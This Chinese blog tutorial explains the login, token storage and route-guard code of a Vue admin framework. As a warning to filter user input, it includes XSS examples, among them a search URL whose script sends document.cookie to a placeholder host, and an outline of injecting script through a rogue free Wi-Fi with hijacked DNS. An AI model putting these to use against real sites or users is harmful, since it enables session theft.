来自:https://www.cnblogs.com/herozhou/p/7469667.html

认证又称“验证”、“鉴权”,是指通过一定的手段,完成对用户身份的确认。身份验证的方法有很多,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法的身份验证。

  登录鉴权功能是后台管理项目的基本需求,登录控制,权限分配,这些都是很普遍的功能。 在框架中已经做好了这部分的工作,我们来了解一下是怎么做的,对以后在框架的基础上做改进是有很大的帮助的。

  在此之前思考过很多种方法去做登录功能,一种比较靠谱的方法是用一个Node服务端,利用Node+express+passport的技术栈

  Passport项目是一个基于Nodejs的认证中间件,支持本地登录和第三方账号登录验证。Passport目的只是为了“登陆认证”,因此,代码干净,易维护,可以方便地集成到其他的应用中。

  Web应用一般有2种登陆认证的形式:

  •   用户名和密码认证登陆
  •   OAuth认证登陆

  Passport可以根据应用程序的特点,配置不同的认证机制。

  项目网站:http://passportjs.org/

  

  Passport是十分强大的,这个技术栈也是非常靠谱的,但是我们就一个纯前端框架,需要再做一个Node的服务端吗?维护起来多麻烦,况且违背了Unix哲学的'简单原则'----尽量用简单的方法解决问题----是'Unix哲学'的根本原则。这也就是著名的KISS(keep it simple, stupid),意思是'保持简单和笨拙'。。

  既然这样不太好,那就使用单页应用强大的路由来做登录。

  如果对vue-router还不熟悉的同学一定要找尤大大课后开小灶了,官方文档:vue-router

  截取一段介绍

  你可以使用 router.beforeEach 注册一个全局的 before 钩子:

const router = new VueRouter({ ... })router.beforeEach((to, from, next) => {// ...
})

  当一个导航触发时,全局的 before 钩子按照创建顺序调用。钩子是异步解析执行,此时导航在所有钩子 resolve 完之前一直处于 等待中。

  每个钩子方法接收三个参数:  

  •   to: Route: 即将要进入的目标 路由对象

  •   from: Route: 当前导航正要离开的路由

  •   next: Function: 一定要调用该方法来 resolve 这个钩子。执行效果依赖 next 方法的调用参数。

    •   next(): 进行管道中的下一个钩子。如果全部钩子执行完了,则导航的状态就是 confirmed (确认的)。

    •   next(false): 中断当前的导航。如果浏览器的 URL 改变了(可能是用户手动或者浏览器后退按钮),那么 URL 地址会重置到 from 路由对应的地址。

    •   next('/') 或者 next({ path: '/' }): 跳转到一个不同的地址。当前的导航被中断,然后进行一个新的导航。

  确保要调用 next 方法,否则钩子就不会被 resolved。

  所以wz框架采用的是拦截导航,判断登录与否和是否有权限,让它完成继续跳转或重定向到登录界面。

  这篇教程分为两部分一部分讲登录,另一部分讲权限验证,因为篇幅太长所以需要用两篇来写。

  登录流程是在客户端发送账号密码到服务端,服务端验证成功后返回token存储用户的权限,前端用Cookie把token存储在本地,在路由跳转(router.beforeEach)中判断是否存在token,另外前端可以通过token请求服务端获取userInfo,在vuex中存储着用户的信息(用户名,头像,注册时间等等)。

  权限控制就是在路由跳转(router.beforeEach)中判断token中的权限和要去往(to)页面的路由信息(router meta)中配置的权限是否匹配,同时我们的侧边栏也是根据权限动态生成的,当所登录的账号没有权限访问时,就不显示在侧边栏中(例如访客登录就无法看到编辑器的侧边栏选项),这样用户既看不到侧边栏选项,又无法直接访问到,双重控制更安全。

  登录界面只有两个输入框,因为不是对外网站所以就没做注册功能。

首先来看登录界面login.vue的逻辑。

src/views/login/index.vue

使用了iview的form表单,autoComplete属性是自动填充默认值到输入框里,这里是用户名amdin@wz.com,

@keyup.enter.native="handleLogin"属性,当按下enter键时会自动触发handleLogin函数,不需要再点击登录按钮,符合日常登录习惯。

当输入账号密码点击登录按钮会触发handleLogin函数。

其中的逻辑是,获取页面表单中的数据(账号密码)通过表格validate验证正确性,依照的规范就是我们在data属性中定义的。

 data() {const validateEmail = (rule, value, callback) => {if (!isWscnEmail(value)) {//export function isWscnEmail(str) {//const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i;//return reg.test(str.trim());//}callback(new Error('请输入正确的合法邮箱'));} else {callback();}};const validatePass = (rule, value, callback) => {if (value.length < 6) {callback(new Error('密码不能小于6位'));} else {callback();}};return {loginForm: {email: 'admin@wz.com',password: ''},loginRules: {email: [{ required: true, trigger: 'blur', validator: validateEmail }],password: [{ required: true, trigger: 'blur', validator: validatePass }]},loading: false,showDialog: false}},

账号密码必须填写,密码不能小于6位,账号必须是以wz.com结尾的电子邮箱地址, 或者可以定义更严密的规范。 如果不遵守制定的规范,将会无法登陆。

千万不要相信用户的输入!千万不要相信用户的输入!千万不要相信用户的输入!

除非你想遭受XSS攻击

如果有同学还不了解什么是XSS攻击,那么一定要赶快去了解。

下面敲黑板了!划重点!

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:

1. Reflected XSS(基于反射的XSS攻击)

2. Stored XSS(基于存储的XSS攻击)

3. DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS

基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。

例子:

1. 做个假设,在淘宝搜索书籍,搜不到书的时候显示提交的名称。

2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。

3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

Stored XSS

基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。

例子:

1. 发一篇文章,里面包含了恶意脚本

今天天气不错啊!<script>alert('handsome boy')</script>

2. 后端没有对文章进行过滤,直接保存文章内容到数据库。

3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。

PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。

DOM-based or local XSS

基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

例子:

1. 提供一个免费的wifi。

1. 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。

2. 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。

3. 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

4. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。

所以一定要对用户的输入做一个过滤。否则后台都被别人给黑了,老板不炒你鱿鱼才怪。

当我们输入不正确的账号密码时将会自动验证(输入完立即验证而不是等到点击登录才验证),如果不正确将无法登录。

如果符合验证规则,则会触发vuex中的LoginByEmail

src/store/modules/user.js

  import { loginByEmail, logout, getInfo } from 'api/login';

 LoginByEmail({ commit }, userInfo) {const email = userInfo.email.trim();return new Promise((resolve, reject) => {loginByEmail(email, userInfo.password).then(response => {const data = response.data;console.log(response.data);Cookies.set('Admin-Token', response.data.token);commit('SET_TOKEN', data.token);commit('SET_EMAIL', email);resolve();}).catch(error => {reject(error);});});},

把email和password发送到服务器,接受返回来的数据,将token存入 Cookies,并触发vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局状态里。

loginByEmail

src/api/login.js

export function loginByEmail(email, password) {const data = {email,password};return fetch({url: '/login/loginbyemail',method: 'post',data});
}

发送fetch请求到指定的url。这里的url是本地服务器的地址,本项目因为是纯前端项目,所以使用了 mock.js。

有了这个插件,前端就可以独立后端开发。

Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);

在mock.js中这行代码截获了所有/login/loginbyemail 路径的请求,使用loginAPI.loginByEmail处理这个请求

const userMap = {admin: {role: ['admin'],token: 'admin',introduction: '我是超级管理员',name: 'Super Admin',uid: '001'},editor: {role: ['editor'],token: 'editor',introduction: '我是编辑',name: 'Normal Editor',uid: '002'},developer: {role: ['develop'],token: 'develop',introduction: '我是开发',name: '工程师小王',uid: '003'}
}export default {loginByEmail: config => {const { email } = JSON.parse(config.body);return userMap[email.split('@')[0]];},getInfo: config => {const { token } = param2Obj(config.url);if (userMap[token]) {return userMap[token];} else {return Promise.reject('a');}},logout: () => 'success'
};

可以看到loginByEmail的作用是把账户信息返回前端,例如一个用户是管理员,就把匹配到的admin的账户信息返回去。

当得到了admin的账户信息,就把它存储在cookie里

Cookies.set('Admin-Token', response.data.token);

这样一来在login.js中判断token是否存在,如果存在token,就继续路由跳转,如果不存在,就跳转到登录界面。

src/login.js

router.beforeEach((to, from, next) => {NProgress.start() // 开启Progressif (store.getters.token) { // 判断是否有token,从vuex中取出if (to.path === '/login') {next({ path: '/' })} else {if (store.getters.roles.length === 0) { // 判断当前用户是否已拉取完user_info信息store.dispatch('GetInfo').then(res => { // 拉取user_infoconst roles = res.data.rolestore.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可访问的路由表router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表next({ ...to }) // hack方法 确保addRoutes已完成})}).catch(() => {store.dispatch('FedLogOut').then(() => {next({ path: '/login' })})})} else {// 没有动态改变权限的需求可直接next() 删除下方权限判断 ↓if (hasPermission(store.getters.roles, to.meta.role)) {next()//} else {next({ path: '/', query: { noGoBack: true }})}// 可删 ↑}}} else {if (whiteList.indexOf(to.path) !== -1) { // 在免登录白名单,直接进入next()} else {next('/login') // 否则全部重定向到登录页NProgress.done() // 在hash模式下 改变手动改变hash 重定向回来 不会触发afterEach 暂时hack方案 ps:history模式下无问题,可删除该行!}}
})

src/store/modules/user.js

vuex中是这样定义的,相当于直接Cookies.get(),为什么要分开呢?显然是为了模块化,方便日后改动项目。

const user = {state: {user: '',status: '',email: '',code: '',uid: undefined,auth_type: '', token: Cookies.get('Admin-Token'),name: '',avatar: '',introduction: '',roles: [],setting: {articlePlatform: []}},

vuex会从cookies里面取得token的值,这样就能通过验证去往路由的下个页面。

大家有什么问题最好去我github提issues,文章评论评论较长时间才查看一次。

接下来的教程讲一下封装UI组件、router、webpack、node命令行构建工具等内容。

希望大家看了这系列教程都能制作出自己的前端框架,从而在工作中得心应手。

如果喜欢就点个start鼓励下作者吧。

github地址:vue-framework-wz

线上体验地址:立即体验

vue后台管理框架(三)——登录功能相关推荐

  1. 一步步带你做vue后台管理框架(三)——登录功能

    系列教程<一步步带你做vue后台管理框架>第三课 github地址:vue-framework-wz 线上体验地址:立即体验 <一步步带你做vue后台管理框架>第一课:介绍框架 ...

  2. Vue后台管理系统实现登录功能

    登录页面 vuex router.js main.js设置全局 退出功能删除token 清空localStorage 显示用户名 键盘事件 ** 记住密码操作( 读存取cookie与调后端数据无关 提 ...

  3. 一步步带你做vue后台管理框架(二)——上手使用 系列教程《一步步带你做vue后台管理框架》第二课

    github地址:vue-framework-wz 线上体验地址:立即体验 <一步步带你做vue后台管理框架>第一课:介绍框架 <一步步带你做vue后台管理框架>第二课:上手使 ...

  4. vue后台管理框架(vue+element)

    因为经常写后台管理的这种项目,自己也研究了一套模板平时复用,但是总觉得有瑕疵,可能月亮总是外国的圆,然后看了一下开源的vue后台管理框架,可能大部分人最先看到都是vue-element-admin这个 ...

  5. vue族谱架构_一步步带你做vue后台管理框架(一)——介绍框架

    系列教程<一步步带你做vue后台管理框架>第一课 线上体验地址:立即体验 Features 特性

  6. 3.1 Vue实战--电商后台管理系统 的登录功能 补充了 加密功能

    1. 原来功能的不足 当登录成功之后,打开调试面板,找到"网络",在请求体中会看到密码和用户名,这是不安全的.这是因为:http协议是明文传输,只要别人一抓包就可以获取到传输的报文 ...

  7. 后台管理系统的登录功能

    1.完成登录功能 1.1 表单重置 第一步:给表单添加ref<el-form ref="loginForm"></el-form>第二步:给重置按钮添加事件 ...

  8. Vue标准后台界面及登录功能流程(2)

    安装完依赖后,咱们接着下一步. 一.在根目录创建个文件 .env.development 如果是本地api则使用: VUE_APP_BASE_API=http://localhost:3000 如果是 ...

  9. vue rule鼠标移走校验_Vue-cli+Element-ui实现后台管理系统(二)实现后台登录功能...

    前言 接上文,本文主要讲解vue+element-ui后台管理系统的登录功能的实现,api接口这块如果对后端技术以及node的实现不太了解的情况下,可以写出假数据进行模拟操作~ 一.创建登录文件并配置 ...

  10. androidstudio做登录界面_Vue-cli+Element-ui实现后台管理系统(二)实现后台登录功能...

    前言 接上文,本文主要讲解vue+element-ui后台管理系统的登录功能的实现,api接口这块如果对后端技术以及node的实现不太了解的情况下,可以写出假数据进行模拟操作~ 一.创建登录文件并配置 ...

最新文章

  1. 《我想进大厂》之网络篇夺命连环12问
  2. python事件驱动编程_Python事件驱动编程
  3. TortoiseSVN客户端重新设置用户名和密码
  4. Jquery的事件操作和文档操作
  5. 在微型计算机中vga的含义,1442、在微机中,VGA的含义是()。(5.0分)
  6. 【架构二】后端高可用架构演进
  7. 实惨!连各大编程语言都摆起地摊了!
  8. emlogPHP媒体范网站主题模版 美化版v6.3.1
  9. 带你详细了解机器视觉竞赛—ILSVRC竞赛
  10. Maven_Build_Resources
  11. NTFS-3G的安装和配置(Linux下挂载Windows分区必备)
  12. /etc/group
  13. 大数据Hive(四):Hive查询语法
  14. 前端开发-HTML+CSS实现京东官网左侧导航条列表
  15. 设置虚拟opc服务器,ifix建虚拟opc服务器(DCS通过opc读取ifix)
  16. 企业如何进行数字化管理?
  17. Win7/R2 原生VHD 启动 详解
  18. 华为AppEngine学习
  19. MySQL数据库实现主主同步
  20. golang学习笔记之string转换

热门文章

  1. Python 读文件并按十六进制输出
  2. 静态网页制作初步体会
  3. pcf8591c语言编程,ADDA系列PCF8591的驱动程序
  4. 关于SOC、态势感知,5种常见的关联分析模型
  5. 【UI界面设计】网页设计基础笔记
  6. 路口待行区设置条件与通行效能分析
  7. layim php,如何通过LayuiAdminLayIMThinkphpGateway实现小程序多客服接入系统的例子
  8. vue使用高德地图第一次进去点标记有数据,第二次进去就没有了
  9. 新闻资讯页面html,html页模板
  10. 深度学习day05-利用TensorFlow搭建图像分类感知机模型,并使用模型进行图片分类